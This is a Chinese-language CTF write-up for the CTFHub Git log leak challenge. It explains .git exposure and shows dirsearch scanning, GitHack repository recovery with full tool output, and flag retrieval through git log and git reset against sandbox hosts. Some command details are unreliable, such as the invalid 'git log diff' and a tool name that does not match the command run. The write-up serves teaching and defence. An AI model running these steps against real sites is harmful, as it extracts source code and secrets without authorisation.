CTFHub 信息泄露通关笔记7：Git泄露 Log

本文通过CTFHub的信息泄露-Git泄露-Git log关卡的渗透实战，详细讲解Git泄露的成因、危害及利用方法。当开发人员误将.git目录部署到线上环境时，攻击者可通过访问该目录获取项目源代码、历史记录等敏感信息。GitHack工具能有效还原.git目录内容，文章通过实战演示了从靶场扫描发现.git泄露到利用GitHack获取flag的全过程，包括两种具体方法：gitlog差异对比和gitreset版本回退。该风险危害严重，开发人员需注意部署时排除.git目录，防止敏感信息泄露。

一、Git泄露

在信息安全领域，.git 文件泄露是一种常见且危害较大的敏感信息泄露场景。它源于 Git 版本控制系统在项目中生成的 .git 目录被意外暴露在 Web 服务器上，攻击者可通过该目录获取项目的完整源代码、历史提交记录、配置文件等敏感信息。

1、`.git` 目录的作用与组成

Git 作为分布式版本控制系统，会在项目根目录生成 .git 目录，用于存储版本控制所需的所有元数据，包括：

版本历史：所有提交记录（commits）、分支（branches）、标签（tags）等。
文件快照：项目文件的不同版本数据（存储在 objects 目录）。
配置信息：仓库配置（config）、当前分支指针（HEAD）、索引文件（index）等。

核心子目录及文件：

objects/：存储文件快照（ blob 对象）、目录结构（ tree 对象）、提交记录（ commit 对象）等，是仓库数据的核心。
refs/：记录分支、标签对应的提交哈希（如 refs/heads/master 指向主分支最新提交）。
HEAD：指向当前所在分支的指针（如 ref: refs/heads/master）。
index：暂存区信息，记录待提交的文件状态。
config：仓库配置，可能包含远程仓库地址、用户名等信息。

2、`.git` 泄露的成因

部署失误：开发或运维人员在部署 Web 项目时，未排除 .git 目录，导致其被上传至生产服务器的 Web 根目录（如 wwwroot、public 等）。
权限配置不当：Web 服务器（如 Nginx、Apache）对 .git 目录未做访问限制，允许外部直接访问。
目录遍历：服务器存在目录遍历安全风险时，攻击者可通过构造路径（如 ../.git/HEAD）绕过限制访问 .git 内容。

3、`.git` 泄露的危害

源代码泄露：攻击者可还原项目完整源代码，分析业务逻辑，寻找 SQL 注入、XSS 等。
敏感信息暴露：历史提交中可能包含数据库账号密码、API 密钥、配置文件等敏感数据。
开发细节泄露：通过提交记录可了解开发习惯、项目架构，甚至获取内部开发文档。
供应链风险：若项目依赖第三方库，攻击者可能通过源码分析依赖组件的缺陷。

二、GitHack工具

`1、工具简介`

当网站服务器意外泄露 .git 目录（如可通过 http://目标域名/.git 访问）时，GitHack 可通过解析 .git 目录下的版本控制文件（如 config、index、objects 等），还原出项目的完整源代码，包括可能包含的 flag、配置文件、敏感逻辑等信息。

项目地址： https://github.com/BugScanTeam/GitHack

特别注意：不要下错版本，github有好几个同名的GitHack，下错了无法渗透成功。(特别注意不是~~https://github.com/lijiejie/GitHack~~这个网址，从它下载是错误的）。

2、下载安装

（1）下载安装GitHack

GitHack是一个 .git 文件泄漏利用脚本，它是一个.git泄露利用脚本，通过泄露的.git文件夹下的文件，重建还原工程源代码，可通过 Git命令下载或者在官网下载源码。

① Git命令下载

sudo git clone https://github.com/BugScanTeam/GitHack

② Web页面下载

（2）基本使用方法

进入到GitHack目录中，需要使用python2来运行脚本。

#进入到目录文件夹： cd GitHack

GitHack的使用方法中，必须存在目标 URL这个参数：指定存在 .git 泄漏的网站 URL，需以 .git/ 结尾（若输入时未以 / 结尾，工具会自动补全）。例如：http://target.com/.git/是正确的格式。Githack的使用方法如下所示，可快速利用 .git 泄露获取网站源代码。

#使用方法： sudo python2 GitHack.py http://www.example.com/.git

其中 http://www.example.com/.git/ 是目标网站的 .git 目录 URL，执行该命令后，工具会尝试从目标 URL 还原 Git 仓库内容，还原后的文件会保存在当前目录下的 dist/ 目录中。

3、利用步骤

GitHack工具可还原 .git 目录中的完整仓库，工具会自动从目标 .git 目录下载文件，还原后的项目存储在 dist/目标域名/ 目录中，包含完整源代码和版本历史，步骤如下所示。

# 安装 Git（工具依赖） sudo apt install git # Ubuntu/Debian # 克隆 GitHack 工具 git clone https://github.com/BugScanTeam/GitHack.git cd GitHack # 执行还原（目标为存在.git泄露的URL） python GitHack.py http://目标域名/.git/

三、渗透实战

1、打开靶场

打开关卡如下所示，提示信息为“当前大量开发人员使用git进行版本控制，对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露安全风险。请尝试使用BugScanTeam的GitHack完成本题”，提示本关卡可以利用.git泄露进行渗透测试。点击打开题目，此时系统自动创建Docker环境，下图蓝色部分的URL地址就是靶场环境。

打开靶场URL，页面提示"Where is flag，具体如下所示。

http://challenge-2452a35a68245349.sandbox.ctfhub.com:10800/

2、目录扫描发现.git文件

通过目录扫描工具对challenge-2452a35a68245349.sandbox.ctfhub.com:10800进行渗透，这里选择使用dirmap工具进行渗透，命令如下所示。

python dirsearch.py -u http://challenge-2452a35a68245349.sandbox.ctfhub.com:10800

dirsearch的扫描结果如下所示，在网站根目录下发现了.git文件夹。

3、githack渗透

使用githack脚本对上一步发现的网站根目录下的.git文件进行渗透测试，通过GitHack.py工具远程访问目标服务器泄露的.git仓库，自动解析仓库中的版本控制信息，还原出项目源代码文件（可能包含 flag等敏感信息），完整的命令如下所示。

sudo python2 GitHack.py http://challenge-9fd26fb5ff0fe270.sandbox.ctfhub.com:10800/.git

运行结果如下所示，利用了网站部署时未删除.git版本控制目录导致的信息泄露恢复目录文件。

在当前目录的dist/challenge-9fd26fb5ff0fe270.sandbox.ctfhub.com_10800下成功恢复文件，完整运行结果如下所示。

kali@kali:~/ljn/GitHack$ sudo python2 GitHack.py http://challenge-9fd26fb5ff0fe270.sandbox.ctfhub.com:10800/.git ____ _ _ _ _ _ / ___(_) |_| | | | __ _ ___| | __ | | _| | __| |_| |/ _` |/ __| |/ / | |_| | | |_| _ | (_| | (__| < \____|_|\__|_| |_|\__,_|\___|_|\_\{0.0.5} A '.git' folder disclosure exploit. [*] Check Depends [+] Check depends end [*] Set Paths [*] Target Url: http://challenge-9fd26fb5ff0fe270.sandbox.ctfhub.com:10800/.git/ [*] Initialize Target [*] Try to Clone straightly [*] Clone 正克隆到 '/home/kali/ljn/GitHack/dist/challenge-9fd26fb5ff0fe270.sandbox.ctfhub.com_10800'... fatal: 仓库 'http://challenge-9fd26fb5ff0fe270.sandbox.ctfhub.com:10800/.git/' 未找到 [-] Clone Error [*] Try to Clone with Directory Listing [*] http://challenge-9fd26fb5ff0fe270.sandbox.ctfhub.com:10800/.git/ is not support Directory Listing [-] [Skip][First Try] Target is not support Directory Listing [*] Try to clone with Cache [*] Initialize Git [!] Initialize Git Error: 提示：使用 'master' 作为初始分支的名称。这个默认分支名称可能会更改。要在新仓库中 提示：配置使用初始分支名，并消除这条警告，请执行： [*] Cache files [*] packed-refs [*] config [*] HEAD [*] COMMIT_EDITMSG [*] ORIG_HEAD [*] FETCH_HEAD [*] refs/heads/master [*] refs/remote/master [*] index [*] logs/HEAD [*] logs/refs/heads/master [*] Fetch Commit Objects [*] objects/49/8a50cd366e92ebd04b4fb56ef73060f5165a06 [*] objects/01/2ae1fc6b838a345b689ae6bb4ec0edfd517a64 [*] objects/e2/31ebc4862d09d20a47a9b48925886d1b7eb958 [*] objects/08/8f845b397abf7dd239847a722cc301fd7a7824 [*] objects/90/71e0a24f654c88aa97a2273ca595e301b7ada5 [*] objects/2c/59e3024e3bc350976778204928a21d9ff42d01 [*] objects/35/1bb3e9683eaaaff31b27cfb4de54a7b3bb0463 [*] objects/b5/68e83e3b85b4418b1772765412ccd524d13f8c [*] Fetch Commit Objects End [*] logs/refs/remote/master [*] logs/refs/stash [*] refs/stash [*] Valid Repository [+] Valid Repository Success [+] Clone Success. Dist File : /home/kali/ljn/GitHack/dist/challenge-9fd26fb5ff0fe270.sandbox.ctfhub.com_10800

4、查看git log

进入到git目录，执行git log发现add flag，记录下git log id，如下所示。

cd dist cd challenge-9fd26fb5ff0fe270.sandbox.ctfhub.com_10800 git log

如下图所示，在执行git log时有addflag、removeflag的日志记录，接下来我们记录下add flag的log id，值为351bb3e9683eaaaff31b27cfb4de54a7b3bb0463。

5、获取flag

本文通过两种方法git log和git reset获取flag，具体如下所示。

（1）git log法

执行git log diff，比较add flag版本的代码修改日志，如下所示成功获取到flag。

sudo git log diff 351bb3e9683eaaaff31b27cfb4de54a7b3bb0463

（2）git reset法

执行git reset将代码切换为add flag版本的code，如下所示此方法同样成功获取到flag。

sudo git reset --hard e231ebc4862d09d20a47a9b48925886d1b7eb958